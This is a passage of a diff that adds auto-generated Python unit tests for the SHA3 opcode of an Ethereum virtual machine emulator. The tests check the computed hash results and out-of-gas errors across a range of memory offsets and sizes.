+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_46(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_47(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            new_vm.memory.write(0, [88])
+            new_vm.memory.write(1, [88])
+            new_vm.memory.write(2, [88])
+            new_vm.memory.write(3, [88])
+            new_vm.memory.write(4, [88])
+            new_vm.memory.write(5, [88])
+            new_vm.memory.write(6, [88])
+            new_vm.memory.write(7, [88])
+            new_vm.memory.write(8, [88])
+            new_vm.memory.write(9, [88])
+            new_vm.memory.write(10, [88])
+            new_vm.memory.write(11, [88])
+            new_vm.memory.write(12, [88])
+            new_vm.memory.write(13, [88])
+            new_vm.memory.write(14, [88])
+            new_vm.memory.write(15, [88])
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [4734955612022241403446959571200475901047349850262219251209420455990604867461L])
+
+    def test_SHA3_48(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            new_vm.memory.write(1, [88])
+            new_vm.memory.write(2, [88])
+            new_vm.memory.write(3, [88])
+            new_vm.memory.write(4, [88])
+            new_vm.memory.write(5, [88])
+            new_vm.memory.write(6, [88])
+            new_vm.memory.write(7, [88])
+            new_vm.memory.write(8, [88])
+            new_vm.memory.write(9, [88])
+            new_vm.memory.write(10, [88])
+            new_vm.memory.write(11, [88])
+            new_vm.memory.write(12, [88])
+            new_vm.memory.write(13, [88])
+            new_vm.memory.write(14, [88])
+            new_vm.memory.write(15, [88])
+            new_vm.memory.write(16, [88])
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [4734955612022241403446959571200475901047349850262219251209420455990604867461L])
+
+    def test_SHA3_49(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_50(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_51(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            new_vm.memory.write(16, [88])
+            new_vm.memory.write(17, [88])
+            new_vm.memory.write(18, [88])
+            new_vm.memory.write(19, [88])
+            new_vm.memory.write(20, [88])
+            new_vm.memory.write(21, [88])
+            new_vm.memory.write(22, [88])
+            new_vm.memory.write(23, [88])
+            new_vm.memory.write(24, [88])
+            new_vm.memory.write(25, [88])
+            new_vm.memory.write(26, [88])
+            new_vm.memory.write(27, [88])
+            new_vm.memory.write(28, [88])
+            new_vm.memory.write(29, [88])
+            new_vm.memory.write(30, [88])
+            new_vm.memory.write(31, [88])
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [4734955612022241403446959571200475901047349850262219251209420455990604867461L])
+
+    def test_SHA3_52(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            new_vm.memory.write(32, [88])
+            new_vm.memory.write(33, [88])
+            new_vm.memory.write(34, [88])
+            new_vm.memory.write(35, [88])
+            new_vm.memory.write(36, [88])
+            new_vm.memory.write(37, [88])
+            new_vm.memory.write(38, [88])
+            new_vm.memory.write(39, [88])
+            new_vm.memory.write(40, [88])
+            new_vm.memory.write(41, [88])
+            new_vm.memory.write(42, [88])
+            new_vm.memory.write(43, [88])
+            new_vm.memory.write(44, [88])
+            new_vm.memory.write(45, [88])
+            new_vm.memory.write(46, [88])
+            new_vm.memory.write(47, [88])
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [4734955612022241403446959571200475901047349850262219251209420455990604867461L])
+
+    def test_SHA3_53(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            new_vm.memory.write(48, [88])
+            new_vm.memory.write(49, [88])
+            new_vm.memory.write(50, [88])
+            new_vm.memory.write(51, [88])
+            new_vm.memory.write(52, [88])
+            new_vm.memory.write(53, [88])
+            new_vm.memory.write(54, [88])
+            new_vm.memory.write(55, [88])
+            new_vm.memory.write(56, [88])
+            new_vm.memory.write(57, [88])
+            new_vm.memory.write(58, [88])
+            new_vm.memory.write(59, [88])
+            new_vm.memory.write(60, [88])
+            new_vm.memory.write(61, [88])
+            new_vm.memory.write(62, [88])
+            new_vm.memory.write(63, [88])
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [4734955612022241403446959571200475901047349850262219251209420455990604867461L])
+
+    def test_SHA3_54(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_55(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_56(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            new_vm.memory.write(0, [88])
+            new_vm.memory.write(1, [88])
+            new_vm.memory.write(2, [88])
+            new_vm.memory.write(3, [88])
+            new_vm.memory.write(4, [88])
+            new_vm.memory.write(5, [88])
+            new_vm.memory.write(6, [88])
+            new_vm.memory.write(7, [88])
+            new_vm.memory.write(8, [88])
+            new_vm.memory.write(9, [88])
+            new_vm.memory.write(10, [88])
+            new_vm.memory.write(11, [88])
+            new_vm.memory.write(12, [88])
+            new_vm.memory.write(13, [88])
+            new_vm.memory.write(14, [88])
+            new_vm.memory.write(15, [88])
+            new_vm.memory.write(16, [88])
+            new_vm.memory.write(17, [88])
+            new_vm.memory.write(18, [88])
+            new_vm.memory.write(19, [88])
+            new_vm.memory.write(20, [88])
+            new_vm.memory.write(21, [88])
+            new_vm.memory.write(22, [88])
+            new_vm.memory.write(23, [88])
+            new_vm.memory.write(24, [88])
+            new_vm.memory.write(25, [88])
+            new_vm.memory.write(26, [88])
+            new_vm.memory.write(27, [88])
+            new_vm.memory.write(28, [88])
+            new_vm.memory.write(29, [88])
+            new_vm.memory.write(30, [88])
+            new_vm.memory.write(31, [88])
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [55858784234176438416533633276923373318937222299816437706613930531814037745581L])
+
+    def test_SHA3_57(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            new_vm.memory.write(1, [88])
+            new_vm.memory.write(2, [88])
+            new_vm.memory.write(3, [88])
+            new_vm.memory.write(4, [88])
+            new_vm.memory.write(5, [88])
+            new_vm.memory.write(6, [88])
+            new_vm.memory.write(7, [88])
+            new_vm.memory.write(8, [88])
+            new_vm.memory.write(9, [88])
+            new_vm.memory.write(10, [88])
+            new_vm.memory.write(11, [88])
+            new_vm.memory.write(12, [88])
+            new_vm.memory.write(13, [88])
+            new_vm.memory.write(14, [88])
+            new_vm.memory.write(15, [88])
+            new_vm.memory.write(16, [88])
+            new_vm.memory.write(17, [88])
+            new_vm.memory.write(18, [88])
+            new_vm.memory.write(19, [88])
+            new_vm.memory.write(20, [88])
+            new_vm.memory.write(21, [88])
+            new_vm.memory.write(22, [88])
+            new_vm.memory.write(23, [88])
+            new_vm.memory.write(24, [88])
+            new_vm.memory.write(25, [88])
+            new_vm.memory.write(26, [88])
+            new_vm.memory.write(27, [88])
+            new_vm.memory.write(28, [88])
+            new_vm.memory.write(29, [88])
+            new_vm.memory.write(30, [88])
+            new_vm.memory.write(31, [88])
+            new_vm.memory.write(32, [88])
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [55858784234176438416533633276923373318937222299816437706613930531814037745581L])
+
+    def test_SHA3_58(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_59(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_60(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            new_vm.memory.write(16, [88])
+            new_vm.memory.write(17, [88])
+            new_vm.memory.write(18, [88])
+            new_vm.memory.write(19, [88])
+            new_vm.memory.write(20, [88])
+            new_vm.memory.write(21, [88])
+            new_vm.memory.write(22, [88])
+            new_vm.memory.write(23, [88])
+            new_vm.memory.write(24, [88])
+            new_vm.memory.write(25, [88])
+            new_vm.memory.write(26, [88])
+            new_vm.memory.write(27, [88])
+            new_vm.memory.write(28, [88])
+            new_vm.memory.write(29, [88])
+            new_vm.memory.write(30, [88])
+            new_vm.memory.write(31, [88])
+            new_vm.memory.write(32, [88])
+            new_vm.memory.write(33, [88])
+            new_vm.memory.write(34, [88])
+            new_vm.memory.write(35, [88])
+            new_vm.memory.write(36, [88])
+            new_vm.memory.write(37, [88])
+            new_vm.memory.write(38, [88])
+            new_vm.memory.write(39, [88])
+            new_vm.memory.write(40, [88])
+            new_vm.memory.write(41, [88])
+            new_vm.memory.write(42, [88])
+            new_vm.memory.write(43, [88])
+            new_vm.memory.write(44, [88])
+            new_vm.memory.write(45, [88])
+            new_vm.memory.write(46, [88])
+            new_vm.memory.write(47, [88])
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [55858784234176438416533633276923373318937222299816437706613930531814037745581L])
+
+    def test_SHA3_61(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            new_vm.memory.write(32, [88])
+            new_vm.memory.write(33, [88])
+            new_vm.memory.write(34, [88])
+            new_vm.memory.write(35, [88])
+            new_vm.memory.write(36, [88])
+            new_vm.memory.write(37, [88])
+            new_vm.memory.write(38, [88])
+            new_vm.memory.write(39, [88])
+            new_vm.memory.write(40, [88])
+            new_vm.memory.write(41, [88])
+            new_vm.memory.write(42, [88])
+            new_vm.memory.write(43, [88])
+            new_vm.memory.write(44, [88])
+            new_vm.memory.write(45, [88])
+            new_vm.memory.write(46, [88])
+            new_vm.memory.write(47, [88])
+            new_vm.memory.write(48, [88])
+            new_vm.memory.write(49, [88])
+            new_vm.memory.write(50, [88])
+            new_vm.memory.write(51, [88])
+            new_vm.memory.write(52, [88])
+            new_vm.memory.write(53, [88])
+            new_vm.memory.write(54, [88])
+            new_vm.memory.write(55, [88])
+            new_vm.memory.write(56, [88])
+            new_vm.memory.write(57, [88])
+            new_vm.memory.write(58, [88])
+            new_vm.memory.write(59, [88])
+            new_vm.memory.write(60, [88])
+            new_vm.memory.write(61, [88])
+            new_vm.memory.write(62, [88])
+            new_vm.memory.write(63, [88])
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [55858784234176438416533633276923373318937222299816437706613930531814037745581L])
+
+    def test_SHA3_62(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            new_vm.memory.write(48, [88])
+            new_vm.memory.write(49, [88])
+            new_vm.memory.write(50, [88])
+            new_vm.memory.write(51, [88])
+            new_vm.memory.write(52, [88])
+            new_vm.memory.write(53, [88])
+            new_vm.memory.write(54, [88])
+            new_vm.memory.write(55, [88])
+            new_vm.memory.write(56, [88])
+            new_vm.memory.write(57, [88])
+            new_vm.memory.write(58, [88])
+            new_vm.memory.write(59, [88])
+            new_vm.memory.write(60, [88])
+            new_vm.memory.write(61, [88])
+            new_vm.memory.write(62, [88])
+            new_vm.memory.write(63, [88])
+            new_vm.memory.write(64, [88])
+            new_vm.memory.write(65, [88])
+            new_vm.memory.write(66, [88])
+            new_vm.memory.write(67, [88])
+            new_vm.memory.write(68, [88])
+            new_vm.memory.write(69, [88])
+            new_vm.memory.write(70, [88])
+            new_vm.memory.write(71, [88])
+            new_vm.memory.write(72, [88])
+            new_vm.memory.write(73, [88])
+            new_vm.memory.write(74, [88])
+            new_vm.memory.write(75, [88])
+            new_vm.memory.write(76, [88])
+            new_vm.memory.write(77, [88])
+            new_vm.memory.write(78, [88])
+            new_vm.memory.write(79, [88])
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [55858784234176438416533633276923373318937222299816437706613930531814037745581L])
+
+    def test_SHA3_63(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_64(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_65(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            new_vm.memory.write(0, [88])
+            new_vm.memory.write(1, [88])
+            new_vm.memory.write(2, [88])
+            new_vm.memory.write(3, [88])
+            new_vm.memory.write(4, [88])
+            new_vm.memory.write(5, [88])
+            new_vm.memory.write(6, [88])
+            new_vm.memory.write(7, [88])
+            new_vm.memory.write(8, [88])
+            new_vm.memory.write(9, [88])
+            new_vm.memory.write(10, [88])
+            new_vm.memory.write(11, [88])
+            new_vm.memory.write(12, [88])
+            new_vm.memory.write(13, [88])
+            new_vm.memory.write(14, [88])
+            new_vm.memory.write(15, [88])
+            new_vm.memory.write(16, [88])
+            new_vm.memory.write(17, [88])
+            new_vm.memory.write(18, [88])
+            new_vm.memory.write(19, [88])
+            new_vm.memory.write(20, [88])
+            new_vm.memory.write(21, [88])
+            new_vm.memory.write(22, [88])
+            new_vm.memory.write(23, [88])
+            new_vm.memory.write(24, [88])
+            new_vm.memory.write(25, [88])
+            new_vm.memory.write(26, [88])
+            new_vm.memory.write(27, [88])
+            new_vm.memory.write(28, [88])
+            new_vm.memory.write(29, [88])
+            new_vm.memory.write(30, [88])
+            new_vm.memory.write(31, [88])
+            new_vm.memory.write(32, [88])
+            new_vm.memory.write(33, [88])
+            new_vm.memory.write(34, [88])
+            new_vm.memory.write(35, [88])
+            new_vm.memory.write(36, [88])
+            new_vm.memory.write(37, [88])
+            new_vm.memory.write(38, [88])
+            new_vm.memory.write(39, [88])
+            new_vm.memory.write(40, [88])
+            new_vm.memory.write(41, [88])
+            new_vm.memory.write(42, [88])
+            new_vm.memory.write(43, [88])
+            new_vm.memory.write(44, [88])
+            new_vm.memory.write(45, [88])
+            new_vm.memory.write(46, [88])
+            new_vm.memory.write(47, [88])
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [87315138422451183025224871972802370450373932520512056513148796263698858401046L])
+
+    def test_SHA3_66(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            new_vm.memory.write(1, [88])
+            new_vm.memory.write(2, [88])
+            new_vm.memory.write(3, [88])
+            new_vm.memory.write(4, [88])
+            new_vm.memory.write(5, [88])
+            new_vm.memory.write(6, [88])
+            new_vm.memory.write(7, [88])
+            new_vm.memory.write(8, [88])
+            new_vm.memory.write(9, [88])
+            new_vm.memory.write(10, [88])
+            new_vm.memory.write(11, [88])
+            new_vm.memory.write(12, [88])
+            new_vm.memory.write(13, [88])
+            new_vm.memory.write(14, [88])
+            new_vm.memory.write(15, [88])
+            new_vm.memory.write(16, [88])
+            new_vm.memory.write(17, [88])
+            new_vm.memory.write(18, [88])
+            new_vm.memory.write(19, [88])
+            new_vm.memory.write(20, [88])
+            new_vm.memory.write(21, [88])
+            new_vm.memory.write(22, [88])
+            new_vm.memory.write(23, [88])
+            new_vm.memory.write(24, [88])
+            new_vm.memory.write(25, [88])
+            new_vm.memory.write(26, [88])
+            new_vm.memory.write(27, [88])
+            new_vm.memory.write(28, [88])
+            new_vm.memory.write(29, [88])
+            new_vm.memory.write(30, [88])
+            new_vm.memory.write(31, [88])
